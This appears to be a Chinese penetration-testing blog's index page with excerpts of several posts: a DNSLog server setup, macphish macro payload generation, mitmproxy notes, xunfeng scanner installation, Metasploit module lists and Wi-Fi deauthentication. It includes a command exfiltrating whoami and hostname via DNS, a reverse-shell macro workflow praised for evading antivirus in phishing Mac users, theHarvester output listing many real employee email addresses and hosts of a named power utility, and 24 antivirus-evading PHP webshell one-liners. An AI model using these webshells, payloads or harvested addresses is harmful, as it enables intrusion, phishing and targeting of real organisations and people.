渗透工具

如何用一个域名搭建一套dnslog平台

如何用一个域名搭建一套dnslog平台
前几天在大土司上看到有大佬分享了一套dnslog平台代码,地址: https://github.com/LandGrey/dnstricker 该代码从最之前的BugScan的DNSLog二次开发而来,dnslog对于盲测有重要的意义。(听过CplusHua的盲攻击课程的人应该最能体会到)。下面记录的是我如何用一个域名+一台VPS完成一套dnslog平台的搭建。 1. 准备 买一了个域名coffeehb.cn 买了一台VPS Ubuntu 16.04x64 2.万网域名配置: 2.1 添加1个A记录指向我们的VPS 比如我这里: gitscan.coffeehb.cn 指向 47.52.234.114 2.2 添加2个NS记录指向,上一条的地址 比如我这里: dns.coffeehb.cn 和 dns1.coffeehb.cn 指向 gitscan.coffeehb.cn 3. 下载dnstricker代码使其跑起来 这里环境部署,依赖的模块,生成数据库操作等就不说了,GitHub的文档里有说明的。 直接说需要特别修改的配置地方。 3.1 修改dnstricker.py文件 修改dnstricker.py文件将126-128行的代码修改为实际的环境 比如我改成这样的: dns_domain = 'dns.coffeehb.cn' ip_address = '47.52.234.114' default_ip = '192.168.1.1' 3.2 修改/dnstricker/logeyes/dnslog/settings.py文件 需要修改的项和值如下: 做dns记录的域名 DNS_DOMAIN = 'dns.coffeehb.cn' 记录管理的域名 ADMIN_DOMAIN = 'dnslog.coffeehb.cn' NS域名 NS1DOMAIN = 'dns.coffeehb.cn' NS2DOMAIN = 'dns1.coffeehb.cn' 服务器外网地址 SERVERIP = '47.52.234.114' 允许的HOSTS ALLOWEDHOSTS = [".coffeehb.cn"] KEY SECRET_KEY=随便修改其中的某些位,随机的就OK 4. Nginx的配置文件 修改提供的nginx.conf文件中的server为实际环境,比如我的配置如下: 到这里所有的特殊配置就完成了,其他的那些Django的操作部分就自行解决吧。 特别注意一点,在添加前台用户的时候这个Udomain是个人唯一域名: 比如下面的测试账号: 5. 运行和测试 nohup python manage.py runserver 127.0.0.1:10101 & 登录测试账号测试DNSlog是否起作用 测试账号的Udomain为hack,所以所有的请求 *.hack.dns.coffeehb.cn的记录都会被记录下来,该用户可以通过登录控制台查看得到的。 测试命令: ping`whoami`.`hostname`.hack.dns.coffeehb.cn 测试截图如下: 6. 后话 基本完成了1个域名搭建一套自己的DNSLog的需求 nginx最好配置使用80端口,因为代码里很多跳转写死了. DNS记录和HTTP记录可以优化一下,根据IP去重不然记录的东西太多太杂了.... 继续阅读 »
渗透工具

【macphish】Office for Mac Macro Payload Generator

【macphish】Office for Mac Macro Payload Generator
Office for Mac Macro Payload Generator 一款用于Mac下Office利用宏生成反弹shell Payload的工具 GitHub开源地址: macphish 官方wiki: Usage 下面使用Mac + Office 2016 + msf的meterpreter进行测试, 根据wiki说明只能使用payload类型为python 的。 第一步:生成payload ./macphish.py -lh 127.0.0.1 -lp 65511 -p python/meterpreter/reverse_http -a meterpreter -m 第二步:制作word文件,插入宏代码 插入生成的payload文件: 第三步:打开msf监听 这里GET新技巧,可以把下面的代码保存为sh文件,配置到环境变量,比如我的Mac配置: 我这样配置以后,每次只需要打开终端,输入:startmsf 即可 最后:双击打开testme测试文档获得shell 这个工具还是很有用处,生成的payload过了大部分杀软,专门对Mac用户做钓鱼是极好的!!! 绝密:绝密文件... 继续阅读 »
渗透工具

Mac下玩耍 mitmproxy 笔记[持续补充~]

Mac下玩耍 mitmproxy 笔记[持续补充~]
Mac下玩耍 mitmproxy 笔记 1.0版本下载地址: 主要的3个文件: mitmdump mitmproxy——启动代理服务 mitmweb——web可视化界面的 如下图: 使用前的配置: 1. 配置环境变量 关于Mac下设置环境变量方法,可以参考这篇文章 配置方法 配置好环境变量后,简单验证如下: 打开终端,输入命令启动mitmproxy: mitmproxy -b 127.0.0.1 -p 8080 此时可以看到终端变成这样: 2. 配置HTTPS证书 和使用burp进行代理抓包一样,MITM也需要安装自己的证书以便抓取HTTPS的请求包。配置浏览器的代理为:127.0.0.1 端口:8080 然后打开URL地址: http://mitm.it/ 下载安装对应的操作系统证书,下面文字介绍的是如何在Mac上安装MITM证书: Apple: How to install on macOS / OSX Download PEM file (from above link) Double-click the PEM file The "Keychain Access" applications opens Find the new certificate "mitmproxy" in the list Double-click the "mitmproxy" entry A dialog window openes up Change "Secure Socket Layer (SSL)" to "Always Trust" Close the dialog window (and enter your password if prompted) Done! 对应翻译: 如何在macOS/OSX系统上安装证书: 下载PEM文件(从上面的链接) 双击PEM文件 打开“钥匙串访问应用程序 在《许可证》的mitmproxy”列表中 双击“mitmproxy”条目 弹出对话窗口openes 变化的安全套接字层(SSL)”到“永远的信任” 关闭该对话框窗口(如果你的密码和输入prompted) 这样做的! 配置后: 3. 测试MITM证书是否可用: 抓取京东登录站(https://passport.jd.com)的https请求 4. 学习MITM的命令: 启动命令: -b: 监听的地址 -p: 监听的端口 mitmproxy -b 0.0.0.0 -p 8080 查看抓包 上下选择[j/k]或者 方向键 上/下 直接回车便可以查看指标所选定的包或者鼠标点击那个位置 Tab键,切换:Request/Response 或者鼠标点击 当要查看的Response的数据很多时,输入“m”切换展现形式 mitmproxy修改抓包 在Enter进入指定的包后,输入“e”然后选择编辑的位置 拦截Request 输入字母“i”(代表Intercept filter)即可,此时界面便会让你输入想要拦截的条件: 这里的条件可以是字符串:admin 当出现被拦截的对象时,就会是标注颜色的: 如下: 然后是Enter进入选择的包,然后e 修改,最后q退到主页,然后a放行修改后的请求。 mitmproxy 拦截response 输入i,然后输入~s 就会拦截响应 拦截所有的request: ~q 拦截特定的header: ~h 拦截特定的domain: ~d 拦截特定的响应代码(404之类的): ~c... 继续阅读 »
渗透工具

xunfeng-搭建简要记录

xunfeng-搭建简要记录
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。巡风下载地址安装环境:Ubuntu14.04 x64 TSL系统 注意:Python版本不能太低,我在Ubuntu,Win7和Mac上的测试中,使用的都是python 2.7.9版本以上安装过程:      1、安装python库pip install pymongo Flask xlwt paramiko      2、下载mongoDB、巡风代码wget  https://sec.ly.com/mirror/mongodb-linux-x86_64-ubuntu1404-3.4.0.tgz wget https://github.com/ysrc/xunfeng/archive/master.zip      3、解压mongoDB、巡风代码tar -zxvf  mongodb-linux-x86_64-ubuntu1404-3.4.0.tgz apt-get install unzip -y  unzip master.zip      4、配置mongoDB、巡风数据库、日志目录创建数据库目录: mkdir /home/CF_HB/xunfengScanDB 移动mongodb mv /home/CF_HB/mongodb-linux-x86_64-ubuntu1404-3.4.0 /opt/mongodb3.4/ 初始化 nohup /opt/mongodb3.4/mongod --port 65521 --dbpath /home/CF_HB/xunfengScanDB & 导入数据库 /opt/mongodb3.4/mongorestore -h 127.0.0.1 --port 65521 -d xunfeng /home/CF_HB/xunfeng-master/db 配置认证: /opt/mongodb3.4/mongo --port 65521 use xunfeng db.createUser({user:'scan',pwd:'CFHB@@@@@@@',roles:[{role:'dbOwner',db:'xunfeng'}]}) exit 创建日志目录 mkdir /var/log/xunfeng 因为我使用的是(普通用户权限安装),为了避免出问题,需要修改下权限 赋予DB目录权限 sudo chown -R CF_HB:CF_HB /home/CF_HB/xunfengScanDB/ 赋予xunfeng目录权限 sudo chown -R CF_HB:CF_HB /home/CF_HB/xunfeng/      5、修改时区echo TZ\='Asia/Shanghai'\; export TZ >> ~/.bash\_profile source ~/.bash\_profile      6、修改mongodb的连接密码-Config.py的第10行vi /home/CF_HB/xunfeng-master/Config.py class Config(object):     ACCOUNT = 'admin'     PASSWORD = 'xunfeng321' 这里是http://127.0.0.1:80/的登陆密码 class ProductionConfig(Config):     DB = '127.0.0.1'     PORT = 65521     DBUSERNAME = 'scan'     DBPASSWORD = 'CFHB@@@@@@@' 你的密码在这里修改     DBNAME = 'xunfeng'      7、修改Run.sh文件vi /home/CF_HB/xunfeng-master/Run.sh #!/bin/bash CURRENT_PATH=`dirname $0` cd $CURRENT_PATH XUNFENG_LOG=/var/log/xunfeng          这里是日志目录 XUNFENG_DB=/home/CF_HB/xunfengScanDB  这里配置MongoDB的路径 [ ! -d $XUNFENG_LOG ] && mkdir -p ${XUNFENG_LOG} [ ! -d $XUNFENG_DB ] && mkdir -p ${XUNFENG_DB} # 下面这里配置了mongodb的绝对路径,或者添入环境变量也可以 nohup /opt/mongodb3.4/bin/mongod --port 65521 --dbpath=${XUNFENG_DB} --auth  > ${XUNFENG_LOG}/db.log & nohup python ./Run.py > ${XUNFENG_LOG}/web.log & nohup python ./aider/Aider.py > ${XUNFENG_LOG}/aider.log & nohup python ./nascan/NAScan.py > ${XUNFENG_LOG}/scan.log & nohup python ./vulscan/VulScan.py > ${XUNFENG_LOG}/vul.log &      8、配置masscan参考:  $ sudo apt-get install git gcc make libpcap-dev $ git clone https://github.com/robertdavidgraham/masscan $ cd masscan $ make      9、启动sudo sh /home/CF_HB/xunfeng-master/Run.sh使用效果:        PS: 可以在Run.py里面自己修改端口安装环境:Windows7 x64 安装过程:      1、安装python库pip install pymongo Flask xlwt paramiko      2、手动下载xunfeng,mongodb安装包    手动操作,手动安装mongodb(默认格式),添加mongodb到环境变量     我解压后放在了:     C:\xunfeng\xunfeng-master      3、解决mongodb的缺少包的错误,下载安装vc_redist.x64.exe下载地址https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=48145       4、配置mongodb创建DB目录 C:\xunfeng\xunfengDB 初始化: mongod.exe --port 65521 --dbpath C:\xunfeng\xunfengDB 导入数据: mongorestore.exe -h 127.0.0.1 --port 65521 -d xunfeng C:\xunfeng\xunfeng-master\db 添加认证: 新开CMD窗口: mongo --port 65521 use xunfeng db.createUser({user:'scan',pwd:'CFHB@@@@@@@',roles:[{role:'dbOwner',db:'xunfeng'}]}) exit     5、修改mongodb的连接密码-Config.py的第10行vi /home/CF_HB/xunfeng-master/Config.py class Config(object):     ACCOUNT = 'admin'     PASSWORD = 'xunfeng321' 这里是http://127.0.0.1:80/的登陆密码 class ProductionConfig(Config):     DB = '127.0.0.1'     PORT = 65521     DBUSERNAME = 'scan'     DBPASSWORD = 'CFHB@@@@@@@' 你的密码在这里修改     DBNAME = 'xunfeng'      6、双击点开Run.bat 启动xunfeng 效果:PS: Github说明那么详细,安装没毛病啊,为啥那么多人各种问题????... 继续阅读 »
渗透工具

Metasploit常用web漏洞扫描模块

Metasploit常用web漏洞扫描模块
web服务器信息扫描模块============================================================Module auxiliary/scanner/http/http_versionModule auxiliary/scanner/http/open_proxyModule auxiliary/scanner/http/robots_txtModule auxiliary/scanner/http/frontpage_loginModule auxiliary/admin/http/tomcat_administrationModule auxiliary/admin/http/tomcat_utf8_traversalModule auxiliary/scanner/http/optionsModule auxiliary/scanner/http/drupal_views_user_enumModule auxiliary/scanner/http/scraperModule auxiliary/scanner/http/svn_scannerModule auxiliary/scanner/http/traceModule auxiliary/scanner/http/vhost_scannerModule auxiliary/scanner/http/webdav_internal_ipModule auxiliary/scanner/http/webdav_scannerModule auxiliary/scanner/http/webdav_website_content文件目录扫描模块============================================================ Module auxiliary/dos/http/apache_range_dosModule auxiliary/scanner/http/backup_fileModule auxiliary/scanner/http/brute_dirsModule auxiliary/scanner/http/copy_of_fileModule auxiliary/scanner/http/dir_listingModule auxiliary/scanner/http/dir_scannerModule auxiliary/scanner/http/dir_webdav_unicode_bypassModule auxiliary/scanner/http/file_same_name_dirModule auxiliary/scanner/http/files_dirModule auxiliary/scanner/http/http_putModule auxiliary/scanner/http/ms09_020_webdav_unicode_bypassModule auxiliary/scanner/http/prev_dir_same_name_fileModule auxiliary/scanner/http/replace_extModule auxiliary/scanner/http/soap_xmlModule auxiliary/scanner/http/trace_axdModule auxiliary/scanner/http/verb_auth_bypassweb应用程序漏洞扫描模块============================================================ Module auxiliary/scanner/http/blind_sql_queryModule auxiliary/scanner/http/error_sql_injectionModule auxiliary/scanner/http/http_traversalModule auxiliary/scanner/http/rails_mass_assignmentModule exploit/multi/http/lcms_php_exec... 继续阅读 »
渗透工具

发现隐藏的SSID

发现隐藏的SSID
需要一个网卡,wlan01、airmon-ng airmon-ng start wlan0 监听启动需要等待一会儿 2、airodump-ng airodump-ng mon0 寻找隐藏的SSID,ESSID 显示<length: 0>代表这是一个隐藏的SSIDairodump-ng -c 1 mon0 指定隐藏SSID所在的频道(Channel) 过一会儿就可以看到得到了隐藏SSID的名字了不想等待:aireplay-ng发送死亡包攻击配合airodump-ng 很快就得到隐藏SSID名字aireplay-ng -O 2 -a 00:1B:11:60:17:3F mon0... 继续阅读 »
渗透工具

theharvester - 信息搜集

theharvester - 信息搜集
root@baymax:~/Desktop# theharvester -d sgcc.com.cn -l 1200 -b google********************************************************************                                                                 ** | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  ** | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| ** | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    **  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    **                                                                 ** TheHarvester Ver. 2.5                                           ** Coded by Christian Martorella                                   ** Edge-Security Research                                          ** cmartorella@edge-security.com                                   ********************************************************************[-] Searching in Google: Searching 0 results... Searching 100 results... Searching 200 results... Searching 300 results... Searching 400 results... Searching 500 results... Searching 600 results... Searching 700 results... Searching 800 results... Searching 900 results... Searching 1000 results...[+] Emails found:------------------rurong@sgepri.sgcc.com.cnyb@sgepri.sgcc.com.cnliugang12@sgepri.sgcc.com.cnw@sgcc.com.cnWuming2@epri.sgcc.com.cnwabmaster@sgid.sgcc.com.cnwang@sgcc.com.cnwebmaster@sgid.sgcc.com.cnahuangfeng2@epri.sgcc.com.cnbduke@epri.sgcc.com.cnachenlei2@epri.sgcc.com.cnbhuangzaichao@epri.sgcc.com.cncwupeng3@epri.sgcc.com.cndliuchuan@epri.sgcc.com.cnyuanrongchang@epri.sgcc.com.cnenglish@sgcc.com.cnchao1@sgepri.sgcc.com.cnchao6@sgepri.sgcc.com.cnwuyannian@sgepri.sgcc.com.cnjgbts@ydzq.sgcc.com.cncompliance@ydzq.sgcc.com.cnliujin49@hn.sgcc.com.cnzhou.j@sh.sgcc.com.cndlxxh@epri.sgcc.com.cnchenjinmeng@sgm.sgcc.com.cngdnr_yxgj@sgepri.sgcc.com.cnpengling@sgri.sgcc.com.cninfo@sgcc.com.cnjyj@he.sgcc.com.cnnxg@he.sgcc.com.cnyirongwang@sgcc.com.cn00030009@nx.sgcc.com.cnxiaozheng@sgcc.com.cnqiu_weihao@zj.sgcc.com.cnpst@epri.sgcc.com.cnjrksale@sgepri.sgcc.com.cnmiaox@epri.sgcc.com.cnalichunlong@epri.sgcc.com.cnchuangz@epri.sgcc.com.cndzhangzenghua@epri.sgcc.com.cniweiwei@epri.sgcc.com.cnzhangtao@epri.sgcc.com.cnlinweimin@epri.sgcc.com.cnhuju@epri.sgcc.com.cnxurenzhong@epri.sgcc.com.cnxialie@epri.sgcc.com.cnDingjie@epri.sgcc.com.cncsee@epri.sgcc.com.cnwangcy@epri.sgcc.com.cndsy_tianyj@ec.sgcc.com.cndsy_yangxg@ec.sgcc.com.cndsy_panaq@ec.sgcc.com.cnzhangyin@sh.sgcc.com.cnzhukuanjun@epri.sgcc.com.cnliucaolan@epri.sgcc.com.cnyangjialun@epri.sgcc.com.cnhve@sgepri.sgcc.com.cnzhangjinxiu@sh.sgcc.com.cndsy.zhengx@ec.sgcc.com.cnsgeri@sgeri.sgcc.com.cnzhangyu@sh.sgcc.com.cnsgri@sgri.sgcc.com.cnpanghui@epri.sgcc.com.cnshi@sgcc.com.cnfengbao@sgepri.sgcc.com.cnhr@ydzq.sgcc.com.cnrlzyb@sgcc.com.cn[+] Hosts found in search engines:------------------------------------[-] Resolving hostnames IPs... 210.77.176.143:www.sgcc.com.cn211.160.187.104:www.ec.sgcc.com.cn58.22.2.41:www.fj.sgcc.com.cn202.106.80.133:www.bj.sgcc.com.cn210.77.176.188:ecp.sgcc.com.cn210.77.176.143:csr.sgcc.com.cn210.77.176.58:mail.sgcc.com.cn210.77.178.32:www.sgxy.sgcc.com.cn210.77.178.32:www.epri.sgcc.com.cn218.94.127.42:95598.js.sgcc.com.cn210.77.176.229:iscsso.sgcc.com.cn210.77.176.58:mail.zj.sgcc.com.cn180.168.217.242:95598.sh.sgcc.com.cn210.77.189.33:zhaopin.sgcc.com.cn61.187.56.77:hn.sgcc.com.cn211.160.72.161:www.ydpic.sgcc.com.cn210.77.176.58:pop3.sgcc.com.cn127.0.0.1:nx.sgcc.com.cn210.77.178.32:www.sgepri.sgcc.com.cn180.168.217.244:www.sh.sgcc.com.cn61.187.56.76:95598.hn.sgcc.com.cn58.56.115.235:www.95598.sd.sgcc.com.cn210.77.178.32:www.xjgc.sgcc.com.cn210.77.178.32:www.sgeri.sgcc.com.cn222.171.23.140:95598.hl.sgcc.com.cn202.107.201.24:95598.zj.sgcc.com.cn210.21.246.200:www.ydzq.sgcc.com.cn202.100.20.72:www.sn.sgcc.com.cn218.25.90.11:www.ln.sgcc.com.cn220.168.57.3:www.cseptc.hn.sgcc.com.cn118.122.113.202:www.xy.sc.sgcc.com.cn218.94.127.65:www.js.sgcc.com.cn218.94.96.188:aeps.sgepri.sgcc.com.cn222.171.23.145:hpttc.hl.sgcc.com.cn202.107.201.21:zdfap.zj.sgcc.com.cn118.122.113.214:www.95598.sc.sgcc.com.cn218.28.166.163:zz95598.ha.sgcc.com.cn61.182.207.156:www.he.sgcc.com.cn... 继续阅读 »
渗透工具

过狗过盾无特征无动态函数PHP一句话-【转】

过狗过盾无特征无动态函数PHP一句话-【转】
学习些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html所有一句话使用方法基本都是:http:// target/shell.php?e=assert 密码pass01$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, $e);02$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map($e, $arr);03$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, $e);04$e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2);uksort($arr, $e);05$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');06$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');07$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);08$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);09$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');10$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk_recursive($arr, $e, '');11mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');12echo preg_filter('|.*|e', $_REQUEST['pass'], '');13ob_start('assert');echo $_REQUEST['pass'];ob_end_flush();14$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['pass']);15$e = $_REQUEST['e'];declare(ticks=1);register_tick_function($e, $_REQUEST['pass']);16filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));17filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));18$e = $_REQUEST['e'];$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', $e, 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => $_REQUEST['pass']));19$e = $_REQUEST['e'];$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', $e);$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);$stmt->execute();20$str = urlencode($_REQUEST['pass']);$yaml = <<<EODgreeting: !{$str} "|.+|e"EOD;$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));21$mem = new Memcache();$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));$mem->connect($_REQUEST['pass'], 11211, 0);22preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);23mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);24$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));foreach ($iterator as $item) {echo $item;}... 继续阅读 »